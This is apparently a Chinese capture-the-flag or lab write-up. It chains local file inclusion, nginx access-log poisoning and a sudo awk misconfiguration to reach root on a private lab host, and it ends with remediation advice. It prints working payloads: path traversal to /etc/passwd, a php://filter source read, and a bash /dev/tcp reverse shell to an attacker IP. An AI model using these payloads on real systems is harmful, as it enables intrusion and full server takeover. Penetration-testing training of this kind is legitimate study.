Administrator
发布于 2026-07-15 / 3 阅读
0
0

本地文件包含(LFI)测试攻略

前言

目标:http://172.16.11.192

漏洞类型:本地文件包含(LFI)

测试目标:验证漏洞存在性,利用漏洞获取服务器控制权限(RCE),并最终获取 Flag

测试时间:2026 年7 月13日

二、信息收集与漏洞验证

1.端口扫

结果:只发现两个端口22和80,现目前无可以用于ssh账密,主攻80端口。80端口背后的服务器是一个nginx,注意其标准配置默认路径/var/www

结果:就四个目录,3个301永久重定向,既然这样就关注这个200,是一个php文件,说明背后有PHP引擎。看是否能够找到提交木马的位置或者内部调用参数

3.URL泄露可利用漏洞

每个页面的都?page=,都是这个PHP文件所调用的参数并且展示出对应页面内容,因此去探测一下是否存在路径遍历漏洞

Payload:$URL/article.php?page=../../../../../../etc/pass

结果:成功,返回服务器的/etc/passwd内容。存在路径遍历漏洞,可以去读取任意的文件,尝试去读取源码

三、漏洞利用获取可交互Shell

1.利用PHP伪协议探测源码

已知后端服务器配置了PHP解析引擎,在调用PHP文件的时候会执行PHP代码标签(<?php ... ?>)。导致包含文件时只会输出执行结果而非源代码。因此,想要获取目标文件源码,必须设法阻止或绕过PHP引擎的常规解析

为此,可以通过使用php://filter/伪协议对目标文件流进行编码处理,使引擎无法识别代码标签,从而读取未被后端PHP引擎调用的源文件内容

Payload:?page=php://filter/convert.base64-encode/resource=article.php

获取经过base64编码的

解码

源码审计

输入验证缺失:代码虽然使用file_exists()和parse_url()试图进行安全检查,但其采用的逻辑或(||)判断反而暴露了更大的风险面

l 如果$page是本地文件,通过file_exists($page)校验后直接被包含

l 如果$page带有伪协议(如 php://filter),parse_url($page, PHP_URL_SCHEME) 将返回真,同样能直接绕过检查进入@include函数。

源码明确指出利用的是include()文件包含函数且未对输入进行严格过滤。该函数的特效决定了不限制文件类型,即使包含.txt/.log纯文本文件,只要内容包含了PHP代码标签,后端都会执行其中PHP代码

2. 日志投毒获取RCE

源码也提出结合日志投毒实现远程代码执行,通过Web服务器发送恶意WebShell载荷(一句话木马),将恶意代码强制写入系统访问日志,再通过file_exists()校验并由include()引入,最终激活日志中的PHP标签,达成 RCE

1. 确定日志路径

虽然说源码已经写了日志路径,但是被运维人员篡改了,因此要去确认这个路径是否可读。因为日志投毒成功两个重要点

l 路径确定性:能够定位到真实的日志存储路径

l Web权限足够:Web服务运行账户对该日志有可读权限,否则即使成功穿越到该路径,包含时也会因权限不足导致漏洞利用失败

结果:日志文件路径不变且当前运行Web服务的账户对日志文件可读

2. 投递恶意payload获取RCE

设置User-Agent头为一句话木马,构造畸形payload利用Web服务器记录访问日志的机制,将恶意代码强制写入到服务器的访问日志文件中

验证

Payload:?page=/var/log/nginx/access.log&c=id

结果:拿到id看到Web运行账户在adm组上,就反向验证了这个运行账户对日志为什么可读,默认的日志权限仅rootadm组开放

3. 反弹shell获得可交互shell

借助日志投毒构建的WebShell属于非交互式Sehll,在此状态

shell,以来获取可交互的shell,不再依赖Web访问。

Payload:c=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.16.11.218/4444%200%3E%261%22

监听

执行&&获取

结果:成功反弹shell,继续信息收集,返回Web根目录/var/www

四、Root提权

在Web根目录下成功收集到信息

以root 身份运行awk,通常通过/etc/sudoers 免密配置或设置 SUID 权限位实现。由于awk具备脚本执行系统与系统调用能力,一旦被赋予提权执行的权限,就可以通过awk内置的system()函数进行提权

验证是免密配置还是SUID权限位

结果:当前用户被允许免密且以root权限执行二进制文件,awk的内置函数system()函数,允许在处理文本时调用底层操作系统的Shell解释器

成功获得root,执行快速扫描,先猜测是默认的flag{}标识

结果:成功获得flag

五、漏洞定级与修复建议

1. 漏洞利用链条

本地文件包含->访问日志投毒->越权执行反弹shell->sudo awk配置不当提权root

2. 漏洞定级

漏洞评级:高危

评级理由:远程外部攻击者可通过编写畸形载荷污染日志文件,配合文件包含漏洞激活执行流。由于系统本地对awk 赋予了不安全的sudo NOPASSWD特权,导致攻击者可无视安全边界直接提升至系统最高权限(root),彻底接管整台服务器

3.整改建议:

l 严格过滤page参数,使用白名单机制限制允许包含的文件范围

l 配置open_basedir 限制 PHP 访问目录,将其限定特定的Web目录

l 严格控制日志文件权限,禁止Web 用户读取日志。

l 严格遵循最小权限原则,废除Web用户免密以root身份执行/usr/bin/awk


评论